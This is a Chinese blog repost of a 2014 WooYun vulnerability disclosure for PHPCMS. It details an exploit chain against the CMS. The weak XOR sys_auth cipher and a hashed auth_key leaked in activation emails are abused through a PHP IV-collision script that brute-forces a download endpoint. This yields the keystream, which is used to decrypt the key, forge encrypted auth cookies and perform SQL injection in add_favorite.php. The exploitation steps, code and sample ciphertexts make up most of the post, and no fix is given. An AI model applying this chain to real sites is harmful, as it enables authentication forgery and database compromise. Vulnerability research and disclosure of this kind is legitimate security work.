美文网首页我爱编程
phpcms最新版绕过全局防御暴力注入(官网演示)

phpcms最新版绕过全局防御暴力注入(官网演示)

作者: 索马里的乌贼 | 来源:发表于2018-08-04 15:24 被阅读0次
    1. 发布时间:2014-06-25
    2. 公开时间:2014-09-20
    3. 漏洞类型:sql注射
    4. 危害等级:高
    5. 漏洞编号:WooYun-2014-66138
    6. 测试版本:20140522

    简要描述

    加解密函数缺陷第三发,注入演示
    版本20140522
    无视全局防御
    搬个沙发吧。。这个比destoon那个要麻烦多了。。。


    详细说明

    先从函数说起
    phpcms/libs/functions/global.func.php行335

    function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
        $key_length = 4;
        $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
        $fixedkey = md5($key); //keya 用于加解密
        $egiskeys = md5(substr($fixedkey, 16, 16)); //keyb 用于数据完整性校验
        $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : ''; //keyc(初始化向量iv)
        $keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));//由keya和heyc组合而成 直接参与运算,这里叫keyd吧
        $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
        $i = 0; $result = '';
        $string_length = strlen($string);
        for ($i = 0; $i < $string_length; $i++){
            $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32})); //简化了dz的函数 直接用keyd和文本做异或
        }
        if($operation == 'ENCODE') {
            return $runtokey . str_replace('=', '', base64_encode($result));
        } else {
            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {
                return substr($result, 26);
            } else {
                return '';
            }
        }
    }
    

    这里用的其实是简化版的经典加密函数auth_code由DZ开始广泛用于各类cms
    这里去掉了密钥簿的生成和转换 直接用kaya和keyc组合md5之后的值keyd作为密钥簿然后与原始文本处理后的数据进行异或。
    讲加密过程有点绕,我也没有刺总的口才能把这个函数说那么细,反正这里知道一点就够了
    如果知道原始文本和加密后的文本,而且原始文本的长度够长(准确说是明文内容的长度大于 32*2-10-16=38 位),是可以逆推出keyd的。
    在这个函数中,keyc 就是IV(初始化向量), ckey_length 就是IV的长度:4。keyc影响到每次加密的xor key(也就是keyd)。这里先说这么多,先来看看phpcms的问题
    /phpcms/modules/memeber/index.php行176

    if($member_setting['enablemailcheck']) {
        pc_base::load_sys_func('mail');
        $phpcms_auth_key = md5(pc_base::load_config('system', 'auth_key'));
        $code = sys_auth($userid.'|'.$phpcms_auth_key, 'ENCODE', $phpcms_auth_key);
        $url = APP_PATH."index.php?m=member&c=index&a=register&code=$code&verify=1";
    

    在注册过程中 如果后台配置了需要邮件认证,那么就会进入这个if生成一串校验值发往注册的邮箱。

    $phpcms_auth_key = md5(pc_base::load_config('system', 'auth_key'));
    

    这个auth_key其实就是核心加密key,这里居然把md5后的核心key作为参数的一部分写入激活链接发到用户邮箱了。如果能够解开激活链接中的这个code值,我们就可以得到加密key从而任意生成加密串了。参数$code生成方式为

    sys_auth($userid.'|'.$phpcms_auth_key, 'ENCODE', $phpcms_auth_key);
    

    sys_auth()用的密钥为 md5('auth_key');
    收到邮件中的链接如下

    d5905f7178780902e3ed763406fd239296c736c6.jpg
    code值为 d104CAgCBwZUAVYFVVIBAAVVVwldAAYEXQoNUQAKSFECWgAIAApUUlZUUQJTUlZRAA9UAQFRDABWX10FVVtV
    前4位为keyc 这里是 d104
    如果我们能找到另外一处明文和密文都可知 且可以多次用同一明文获取密文的位置 就能通过遍历找出相同的keyc,当keyc相同时 xor key也相同,所以我们就能用前面说方法逆推出keyd来解密出code的内容。
    首先是找到一处同样用 md5(pc_base::load_config('system', 'auth_key')) 作为密钥,且我们可以同时知道明文和密文的地方。
    /phpcms/modules/content/down.php 行76
    if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT']);
        $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
        $downurl = '?m=content&c=down&a=download&a_k='.$a_k;
    } else {
        $downurl = $f;          
    }
    

    当我们把user-agent置空的时候
    $pc_auth_key正好就是我们需要的

    md5(pc_base::load_config('system','auth_key')."");
    

    加密的字符串为
    "i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid
    $i就是下载的id 从页面可以获得
    $d是downloadtype 一般是1
    $s空
    $t是时间。可以从http头获取到
    $ip可知 $m为1
    $f是下载文件的url 这里长度肯定超过38了。
    先来获取邮件中的code,为了增加碰撞的概率 这里用多个邮箱多次获取了激活链接并收集激活链接中参数code的前4位(IV)记录下来。


    fa483e8084b866b319b83399e3e3504166794d52.jpg
    84cc56926a97b2b70a8aa6520fe02b80b51f225a.jpg

    写一个小脚本来碰撞IV

    <?php
    $url = "http://**.**.**.**/index.php?m=content&c=down&a_k=f7c8BFEHCVEIBVYGVQJYB1ADXFNSAAxRAgcHDw5eDlMCR0oJR1oEUB5TW14RFREMHB9cWhRdWQ4CBRxHUEdQC0BPWlpOQQBOARtTGRUJEVVeQ2dDWh0AT1U%2BZ2N%2BDx0cWhEfUFwHHwxXUQNaDAVcBRVTWUEKVwhQWg";
    $reg = '#a_k=(.*?)\"#';
    $code  = array('7763','2bc5','8706','81b7','30a9','49e7','8731','9c2e','d007');
    $i=0;
    for(;;){
        $data = doGet($url);
        preg_match_all($reg, $data, $urls); 
        if (in_array(substr($urls[1][0],0,4), $code)){
            die($urls[1][0]);
        }
        $i++;
        echo $i."--".substr($urls[1][0],0,4)."\n";
    }
    function doGet($url,$cookie=''){
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $response = curl_exec($ch);
        curl_close($ch);
        return $response;
    }
    ?>
    

    简单说一下脚本
    第一段地址来自http://192.168.1.1/index.php?m=content&c=index&a=show&catid=19&id=51中的下载链接
    code来自上一步的收集
    脚本会不停请求页面并收集下载链接,当iv碰撞成功时停止脚本并输出原始下载链接
    运气不错,1000多次请求就碰撞成功了

    b49136ad609e918c4fb9ce63141daebd9eb5f5ee.jpg

    7763VFRVVlMAVQEJB1MGAgYFUwIPVlQDBlcEB1ALCgVVRFRZVEMVXhYRDAgDAFBVBAdUDQESCEIKV1dXHVMPA0pTBVZKVFdUFggMCBFWXgtCRhMPGBsFXUAICg1SBhlADBJTCRdLBQ0fEwgWDh5WTEZaE1ZaRz5EDkhTTAU9YmQiWh4eDRVADl8BVFVeVF5Q

    去掉前面的IV 7763 填入exp中来计算keyb

    8e2c4c097d99d01515baefeeb1b840355b920510.jpg

    注意图中的key 前面有10位的0和16位的1 正常流程中 前10位是时间戳后面16位是数据完整性校验的MD5,这里我们没法知道 所以用0和1来填充,因为是按位异或的所以前面有点错没关系。只要后面可以确认的数据段足够长 就能还原出正确的keyd
    如图跑完后得到的数据为

    ddefc0e197b7374b3>ge27f56ab70db0deefc0e1970cc61f?74a27ffb3b70db0ddefc0e1970cc62c574a27ffb3b70db0ddefc0e1970cc62c574a27ffb3b70db0dde

    按32位长度分段得到

    ddefc0e197b7374b3>ge27f56ab70db0
    deefc0e1970cc61f?74a27ffb3b70db0
    ddefc0e1970cc62c574a27ffb3b70db0
    ddefc0e1970cc62c574a27ffb3b70db0
    dde
    

    可以看到前面两段都有点不一样 后面两段就相同了 因为后面两段是明确的明文。
    到这里已经拿到了IV是7763时的keyd: ddefc0e1970cc62c574a27ffb3b70db0
    我们来拿这个keyd解密一下邮箱中的激活链接试试
    找到7763开头的激活链接

    707d899937e3ad361022988ef119d1e711836560.jpg

    去掉开头4位IV 将绿色部分写入exp
    keyd为上一步获得的 ddefc0e1970cc62c574a27ffb3b70db0

    7afdf965fbd4944c7bc04304d69396c070a19b13.jpg

    成功解开了,这里|后面的就是我们朝思暮想的
    md5(pc_base::load_config('system','auth_key'))


    漏洞证明

    拿到这个key之后就能干很多事了。这里以一个简单的注入来证明一下
    /api/add_favorite.php行26

    $phpcms_auth = param::get_cookie('auth');
    if($phpcms_auth) {
        $auth_key = md5(pc_base::load_config('system', 'auth_key').$_SERVER['HTTP_USER_AGENT']);
        list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
        if($userid >0) {
        } else {
            exit(trim_script($_GET['callback']).'('.json_encode(array('status'=>-1)).')');
        } 
    } else {
        exit(trim_script($_GET['callback']).'('.json_encode(array('status'=>-1)).')');
    }
    $favorite_db = pc_base::load_model('favorite_model');
    $data = array('title'=>$title, 'url'=>$url, 'adddate'=>SYS_TIME, 'userid'=>$userid);
    //根据url判断是否已经收藏过。
    $is_exists = $favorite_db->get_one(array('url'=>$url, 'userid'=>$userid));
    

    userid来自cookie cookie是加密过的 所以无视GPC 无视任何防御
    使用上一步得到的key来生成exp

    205509503c6554597e84f43bf906fba0282d53f0.jpg
    将生成的验证串填入cookie xxxx_auth中并访问
    http://192.168.1.1/api.php?op=add_favorite&title=asdf&url=asdf 页面直接返回错误信息爆出版本号 d641cdd88ab67633bfaf1d2907ba929fe75a420b.jpg

    修复方案

    你们比我专业

    相关文章

      网友评论

        本文标题:phpcms最新版绕过全局防御暴力注入(官网演示)

        本文链接:https://www.haomeiwen.com/subject/jhoyvftx.html